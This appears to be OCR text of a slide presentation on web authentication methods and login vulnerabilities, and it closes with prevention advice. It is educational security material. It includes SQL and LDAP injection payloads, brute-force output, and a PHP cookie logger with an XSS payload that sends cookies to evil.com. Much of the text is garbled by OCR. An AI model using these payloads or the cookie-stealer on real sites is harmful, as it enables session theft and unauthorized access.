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Authentication vs Authorization

Authentication

Who Are You?

Login Forms
HTTP Auth.
HTTP Digest

Etc.

Authorization

What Can You Do?

Acess Control Lists (ACLs)
Token Based
Secure Objects and Methods

Etc.

VY PRISMA



//// Why We Use Cookies?

HTTP is stateless.
Authentication.

Adversiting and data collection.
Authorazitation.
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Login Types

HTTP Basic Authentication
HTTP Digest Authentication
Form Based Authentication
Token Based Authentication
OTP & MFA & 2FA

OAuth & OpenlID
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HTTP Basic Authentication

Request

Y

401 Unauthorized
WWW_-Authenticate: Basic

Authorizatin: Basic dXNlcm5hbWUGcGFzc3dvemQ=

Y

vz

200 OK

-~
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HTTP Basic Authentication

= New Tab

X Iex
m @ <« & =

X @ httpbin.org
E e

Q, Search the Web

Authentication Required

http://httpbin.org is requesting your username and password. The site says: “Fake Realm”

User Name: | |

Password:
Cancel OK

base64(username:password)
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HTTP Digest Authentication

Client

Request

A

401 Unauthorized
WWW-Authenticate: Digest
nonce="44f0437004157 342150193590 6ad46fc"

Y

Authorization: Digest username="username",
nonce="16e3006%e45a7f47bde2606aeebTabt2",
response="89549b93e13d438cd0946c6d93321c52"

200 OK

Y

A

Server
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Headers Post

Response Headers

Content-Length
Content-Type
Date
Transfer-Encoding
X-Powered-By

Request Headers

HTTP Digest Authentication

Response HTML Cookies

37

text/html

Thu, 27 Sep 201Z Z0:54:41 GMT
chunked

Servlet/2.5 JSP/2.1

S —— v
Accept
Accept-Encoding

Authorization

text/htal ,application/xhtunl+xnl,application/xnl;gq=0.9,*/*;q=0.8
gzip, deflate
ie=0 S

Digest username="adamin", realm="Contacts Realwm via Digest Authentication', nonce="MTMOODc30TULMIYOOTowODQyNTIYMCI1O0GUzZMTIZY)JhYIUSNZNRZTCcIND I0Nw
==", uri=" MM "', response="832£56ed3aZ063059cE8fb3e71lal4Zeel3"

. O] uth, nc=00000005, wnce="64e4b82bc57d0980"

Connection
Cookie

Host
User-Agent
X-Forwarded-For

keep-alive

CLOBALID=3gVzgUX%ZF1lsTOFvrS5iZsuQhUSXQIF1cR1OnDMgASE ZFROXFI113NuzID7FSAHoLlIDOL; s_pers=320s_lastvisit
$3D1347910391281%47C144251839128143B%20s_wvmun% 3D136482398059832526vn4253D16637C136482398059843B%20s_invisit
#3DLrues7C1347912151423%3B%20s_nrS%3D1347910391425~Repeatt7C137944639142543B; zipCode=[43224); mbox=PC
$1347543553783-115192. 171349116983 |sessionfl347898198223-25314581347309243 |checkftruefl347507443; JSESSIONID
=Ps3nQkpBltHgmInpvDnyXrSnr fqlveTwz 3qnbZN8TSkLzRYWOhAG ! -1251724390

localhost: 8001

Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1

8.8.8.8

1. H1 =MD5(username:realm:password)

2. H2 = MD5(requestMethod:requestURI)

3. MD5(H1:nonce:H2)
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fij;// Form Based Authentication

Login Request

/
)

Set Cookie

Cookie Session

Y

vz,

200 OK
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Form Based Authentication

GET /admin/ HTTE/1.1

Host: site.com

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64; rv:87.0) Gecko/Z0100101 Firefox/87.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

DMT: 1

g Connection: close

» Cookie:  cfduld=dacTeld/bebdfitYedilVobartadeSbaartlola /Y /300 Nop.Antiforgery=

0 Upgrade-Tnsecure—-Requests: 1

CEfDIBEoEEBbdbeVet by UnFkZJVVOCKk JBTgIvAN4CY TIVYGEc-hjzrajoyVeolT1AF-U180Td¥kE3bShPYrEMINbit BSqPIhXNpMXHCMZSdEnUyEVAZ by jpt
vk3VHRDELY xJF EnNvvIpFEGVDI SEJHGSID-gA; .Nop.Customer=345253cE-4ckh0-4a42-8515-a3f1f2ab5£f57; .Nop.Authentication=
CfDIBEOKEBbdbe Vet byUnFkZ VI f PPyt 108SRF jg86821n5JEENLLUD] PLkn7 PUSHGVERXUnLyt ruyRpll EGCAWIXkBQLFcX9cVMTyNSK4Tt k5~ 26ug
tilloniutZhkwlhENtkITMpUlUIDpLEME 1¥Dds Payi hMIvp8pLjEeRpsNE TUXXRQEZLELqZE 2y 10N SAZ3ccOEWEZLIMIUYTIRorUyLaELAr fpu3JHUHLS 6
#dpMZM3yCRCsezY3PLtH2CHERVU3EHGVAR _ty 9fGEFRT-WLItRGVThNguz fMwUDARASqTxF 6kbT 1Vubat ALAhW-EvEEuUNnZIomfIgEDh86=2nui ENZJUS 8m
CElueviaXPuZroSMjEIESHWIXBZEGYt Bwdt vILTkNECnEs 1 QpxSwulwy L7 £1GpMu7 rM7D5 BZAVIZtLYy-riLF6YE0pek Vb rBYoVNOnt wYHNIqrohz2-
1k47gf3gb-UinAUKuPey-0vmJI320nRn0sE624gHXEmSwIri ZC1FZrl 1HIOXGEVmB0-0s18dmFgvxTrNenollaZelzYrfus-DbT DJoIWcSyNeAt 4DgQ

14)Email=mhmtayberk@protonmail . com&Password=weakpasswordsRememberMe=false
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//Token Based Authentication - JWT

Login Request

/
)

JWT Token

Sende Login Request with JWT Token

v

Ve

200 OK

A
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Token Based Authentication - JWT

GET /sepetim HTTE/1.1

Host: site.com

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/zhtml+zml, application/zml;q=0.9, image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

5 Accept-Encoding: gzip, deflate

DNT: 1

g Connection: close

[
[ ]

' Cookie: COOLIE SITE= - - —— -
eyJ0eXALlOLTKEVIQLLCThhGeclOLJIUZzI1INLIY. eyJlemd BdHI L bmRSbZwEYWSvhbmlkI JolNTcZMmESOWVL ZnI INDE LNZEZYmMwMDeZNmYwh JkyMDUL L ThdHd|
yvdGlrIjolZTIlmYzkZNzUtYmY=xNCO00YTeSLWFJOTgt OTR M2 TwEnY CMzESTiwia¥NzT JolY¥V0acs50emVuZHL vbhbC5 b2 01 LCThdWQi01TJzYkFSe L1 0WCt qaG
MNGLnV1dSNXRSTUSMUE pHOnJrYSIsImV4cCIEMTc3MzYwMDkZ0CwibnImI joxNJELODECMIA4EQ. £P5svTZvkgS5t ZbBd0_wLHaéYb 075el0BsCGEwSadvia
RefreshToken=bB0e7ccd-ac9d-4ab4-9blb-036e25775d35; cfruid=66hb5aBicif47cO58fdEEb10Ef3f2Te73d%9a476937-1614606019

S —
Upgrade-Insecure-Requests: 1

VPRISMA



Based Authentication

{
"alg": "HS256",

"typ": "JWT"
}

{
"sub": "12456789",

PAYLOAD "name": "Ayberk",
"admin": true

}

HEADER

HMACSHA256(

base64UrlEncode(header) + "." +

base64UrlEncode(payload),
your_secret_key)

SIGNATURE

- JWT

Y PRISMA



'

User

OTP & MFA & 2FA

Your application

Provide received code

v

Routes
POST /f2slep N
Sents SMS with generated code
M trackingld
POST /2stepfrackingld N
e emmnee Calback ]
A HTTP OK

VPRISMA



OTP & MFA & 2FA

POST /account/login_verification HTTE/1.1

Host: site.con

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:86.0) Gecko/20100101 Firefox/B&.0

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp,*/*;q=0.8

Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 229

Origin: https://site.com

DNT: 1

Connection: close

12 Referer:
https://site.com/account/login verification?platform=web&user_ id=336773725&challenge_type=Sms&challenge_id=cZERiDCFT9hFzbWlXgXVp9GIVEZENIvEpSwdjTs
remember_me=truesredirect_after_login_verification=%2F

13 Cookie: personalization_id="vl_go/BswEquhcmVCDxSmTcOQ=="; guest_id=v1%3A161619061462720348; gt=1373029074675888134; ctl=
8falcd52lc5fcel3e0b5968833%5da3t; sess=
BAhTCyIKZmxhcZhJQzonQWNOaW9uQZudHIvbGxlcjoARmxhelgBOkisYXNo%250ASGFzaHsSAEJoKQ3J1YXRLZF BhdGwr CADKAOx4AToMY 3Ny Z1 9p$%2S0AZCILZDN ZnF iMzkyNjURY JViIZDI0
MWE3YWUSNIM4MzNmY JEEEZLkIiVKMDg4%$250AZ JRLEZWVIYZYWYTcSOThmODIkZT LkMWUXY jUyNT o fbGInaWs fdmVyaWZpYZF0%250AaW9uk3Vz X IfaWRpBF3CERQEImxvZ2luX3Iit jMkISaU
RDR1QSaEZEY L cwHGAdYVNASROpWONpFTINZOHALd=zRgSg%253D%2530--2a881d902b21a3c2709c0eb53b3096a%cf107a6f; att=1-wGBXdDTBEOCWESMIThEfNgnIiGL0ANSTIOIx4s 1nECe

14 Upgrade-Insecure-Requests: 1

Lo L Bk

o

-1

=}

]

authenticity token=cddlf2dé0BeccTT74baTaflde361lEnle fd=c o ERIDCFTOhFzbWOXgGIVEZEN3vBpSwd jTeuser_id=336773725schallenge_type=Sms&platform=
web&redirect_after_login=%IF&remember_me=truefchallenge_ response=1234558
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Oauth 2.0 & OpenlID

1. User accesses resource

————————>

2. Client requests authorization,
usually with a log in page

€ —————— - -
3. User inputs
credentials
————————>
Resource )
owner Client
8. User can acces the
application
€ - = ————— -

4. Client transfers user’s
credentials with OAuth
keys

5. Authorization server
gives Access Token

6. Transfer Access token

7. Gives access to the
resource

Authorization
server

Resource
server
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Oauth 2.0

v o ()

Authorize GitLab.com

GitLab.com by gitlabhg

wants to access your sohamkamani account

Personal user data
Email addresses (read-only)

e

Authorize gitlabhq
Authorizing will redirect to
https://gitlab.com
@ Not owned or @® Created 22 More than 1K
operated by GitHub 5 years ago GitHub users

VPRISMA



Which Login Type is M&\ecurg? \
il

A =mr?

C=272r

30° 459 60°

Wl o u
ux+c=0

a2 x+5) =0
L - 4 a

) L bpacdy
&x’+22‘x+(?ﬂ) () @
b ;_b’—4az=0

(X =
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Login Vulnerabilities

Username Enumeration
Injections

Brute Force Attacks
Clickjacking

SSL Vulns.

XSS

Session Fixation

JWT Vulns.

VPRISMA



Injections

SELECT username, pass FROM users WHERE username='Suname' AND password='Spasswrd’
The payload is ' or "=’

SELECT username, pass FROM users WHERE username="0OR "=" AND password=" or "=

VPRISMA



Injections

In the injection category, we should not consider only SQL Injection vulnerability.

For example LDAP Injection:
user=*)(&

password=*)(&

(&(user=*)(&)(password=*)(&))

VPRISMA



Username Enumeration

facebook

Facebook'a Girig Yap

beykentieee@mail com B ‘

Girdigin e-posta bir hesaba bagl degil. Hesabini bul ve girig

.......... m@

Girig Yap

Sifreni mi Unuttun?

VPRISMA



Username Enumeration

POST /sessions HTTP/1.1

Host: localhost:3000

User-Agent: Mezilla/5.0 (Macintosh; Intel Mac
08 X 10.10; rva32z.0) Gecko/20100101
Firefox/32.0

Accept:

text/html,application/xhtml4xml, application/xm
1yge=0.9,*/*;g=0.8

Accept-Language: en-Us,en;g=0.5
Accept-Encoding: gzip, deflate

Referer: http://localhcst:3000/

Cookia:
_findMyUsers_sessicn=a2NXVXVrbkd6MUhvelRTHGBYM
ktMIUFVSE 7 i I C92ck(5dDQzWVhIckp
1QUhTML U3IDEMPYOWY VT

BvUnNuaXhLL3d

FDanlJYSIEV

BWNTLQRVBEsEVh
PT0%3D=--20d66
Bl

QTXIIMO
DFhikgd
VLE1la2
97cf1bl.
Connaect
Content-Type:
application/x-www-form-urBegncodad
Contant-Length: 66

Valid Usemame

sessionsi5BusernametSD=userfnvisium.congsessio
nsi5BpasswordiSD=aaa

2 < +
Done

'y
-

-
v

0 matches

HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1;
mode=block
¥X-Content-Type-Options:

nosniff

X-Ua-Compatible: chrome=1
Content-Type: text/htmly
charset=utf-§

Etag:
"41a0B89c66d091bcld2b5f0b01E56EL
2"

Cache-Control: max-age=0,
private, must-revalidate
¥X-Request-Id:
00815b6d=-baic=-444{=-bd58-a33a723
caSed

¥-Runtime: 3.512637

sarver: WEBrick/1.3.1
(Ruby/1.9.3/2013-11-22)

Date: Tug
0013815
Content

e

4,515ms response time

938 bytes | 4,515 millis

POST /sessions HTTP/1.1 N
Host: localhost:3000 r
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
08 X 10.10y rv:32.0) Gecke/20100101
Firefox/32.0
Accapti
text/html application/xhtml+xml,application/xm
Lyg=0.9,*/*)gq=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:3000/
Cookier
_findMyy, g 6MUhva lRTEGEYM
ELMIUFY 05dDgzWVhLckp
1QURTM1 U3IDEmMpYOUY VT
30080tg Invalid Usemame BvUnmNuaXhLL3d
QTXIIMO NTFDemlJYSSEV
DFhNkgd JBWNTLQRVBSZVh
VLE1lla2 PT0%3D--20d466
97cfibl 681
Connaction: keep-alive
Content-Type:
application/x-www-form-urledgcded
Content-Length: 66
sessionst5Busernamet5D=aaarénvisium.comnisessio
nstSBpasswordtSD=aaa
-
\d
0 matches

Done

HTTF/1.1 200 OK &
X-Frame-Options: SAMEORIGIN L
X-¥Xss-Protaction: 1;

mode=block

X-Content-Typa-Options:

nogniff

X-UVa-Compatibla: chrome=1l
Content-Type: text/html;
charset=utf-8

Etag:
*41a089c66d091bcld2b5f0b01656£1
g2-

Cache-Control: max-age=0,
private, must-revalidate
X-Request-Id:
00039%%a4-bbla-4d5c-Bedd-ed56816
bes5f8

X-Runtime: 0.003274

Server: WEBrick/1.3.1
(Ruby/1.9.3/2013-11-22)

Date: Tu
00:40:5
Content

1,006ms response time

_findMyUsars_. 210
FIWELTTCIRYzNiS002N3EmEz
mUORm1Wdnl5WmR jE 1BscHV VK2,

BEEE

938 bytes | 1,006 millis




Brute Force Attacks

Intruder attack3 - 0 X

Attack Save Columns

r its | Target Payloads | Options 1
[Fnl(er: Showing all items ]@
Request 4| Payloadl Payload2 Status Error Timeout | Length Comment

4 administrator admin 200 U J 4388 .
5 test admin 200 8] (] 4388 L
6 admin pass 200 ] (3] 4388

7 bee pass 200 o (8] 4388

8 root pass 200 U U 4388

9 administrator pass 200 (] 3] 4388

10 test pass 200k 8] a 4388

11 admin password 200 J O 4388

12 bee password 200 L (8] 4388

13 root password 200 ] ) 4388

14 administrator password 200 U ] 4388

15 test password 200 u ) 4388

16 admin 12345 200 ] (&3] 4388

17 bee 12345 200 o ) 4388 v
AN T

l Request [ Response ]
o r——

lmw Params ]Headars [Hex |

1 POST /bwapp/login.php HTTP/1.1 A
2 Host: websploit2018 T

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

4 Accept: text/html,application/xhtmlexml,application/xml;q=0.9,%/%;q=0.8

5 Accept-Lanquage: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate

7 Referer: http://websploit2018/bwapp/login.php

8 Content-Type: application/x-www-form-urlencoded

9 Content-Length: 54

10 DNT: 1 A
@ | =|| %[> 1ype asearch tern 0 matches
310f 45 B .
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SSL Vulnerabilities

—_—
Gateway Server
Client to Gateway Gateway to Server
= | fml .'rA ’
“Hello” —; ilaj}oN
Secure session request. “Hello" ’
Secure session request.
5 (L=
< 4——;;4 e Certificate
Certificate {Exblic Koy)
(Public Key)
=/ >
BT 2 >
VR, Encrypted
Session Key
[ @ | @
Gateway Decrypts Server Decrypts
Session Key Session Key

VPRISMA



Clickjacking

Website i1s vulnerable to clickjacking!

Very Important Login Form

Username

Enter Username =
Password

Enter Password =

Remember me

Forgot password?

VPRISMA



<?php
function GetIP()

("HTTP_CLIEN trcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
getenv("HTTP_C _IP");
HTTP_X_FORWARDED_FOR™) strcasecmp(getenv ("HTTP_X_FORWARDED_FOR"), "unknown"))
HTTP_X_FORWARDED_FOR");
REMOTE_ADDR") p(getenv("REMOTE_ADDR"), "unknown"))
tenv("REMOTE_ADDR™);
et($_SERVER[ 'REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] strcasecmp($_SERVER[ "REMOTE_ADDR'], "unknown"))
$_SERVER[ 'REMOTE_ADDR'];

"unknown";

$iplog-"log.txt";
$cookie - $_SERVER['QUERY_STRING'];
$register_globals (bool) ini_get('register_gobals
($register_globals) $ip - getenv('REMOTE_ADDR');
$ip GetIP();

$rem_port - $_SERVER[*REMOTE_PORT'];
$user_agent - $_SERVER['HTTP_USER_AGENT'];
$rqst_method - $_SERVER['METHOD'];
$rem_host = $ SERVER[ "REMOTE_HOST'];
$referer - $_SERVER['HTTP_REFERER'];
$date-date ("1 dS of F Y A");
$log-fopen("$iplog”, "a+");

match("/\bhtm\b/i", $iplog) || preg match("/\bhtml\b/i", $iplog))
s($log, "IP: $ip | PORT: $rem port | HOST: $rem host | Agent: $user agent | METHOD: $rgst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");

fputs($log, "IP: $ip | PORT: $rem port | HOST: $rem host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");

"><script language= "JavaScript">document.location="http://evil.com/a.php?cookie=" +
document.cookie;document.location="http://victimsite.com"</script>
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Session Fixation

&

Victim

http:/iwebsite.kom/
login.php?sessionid=abcd

@ Login R
i sessionid=abcd é

v POST account.php

[Cookie: abed ]
Attacker @ >

Web Server

VPRISMA



JWT Vulnerabilities

Modify the algorithm to None (CVE-2015-9235)

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-
10555)

Embedded Public Key (CVE-2018-0114)

Brute-force HMAC secret

VPRISMA



Prevention

HTTPS usage

SameSite, Secure and HttpOnly flags
CAPTCHA and login limit

Hide error messages

MFA usage

Monitoring

Password policy

X-Frame-Options header
Use Prepared Statements
Input validation

HSTS header

VPRISMA



Prevention

For more detail;

e https://cheatsheetseries.owasp.org/

VPRISMA



You can find this slide at the following address:

e https://ayberk.ninja/presentation/
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Thanks

Do you have any questions?

D mhmtayberk@protonmail.com

,mhmtayberk

(17D ayberk.ninja

This presentation template was created by
Slidesgo, including icons by Flaticon, and
infographics & images by Freepik
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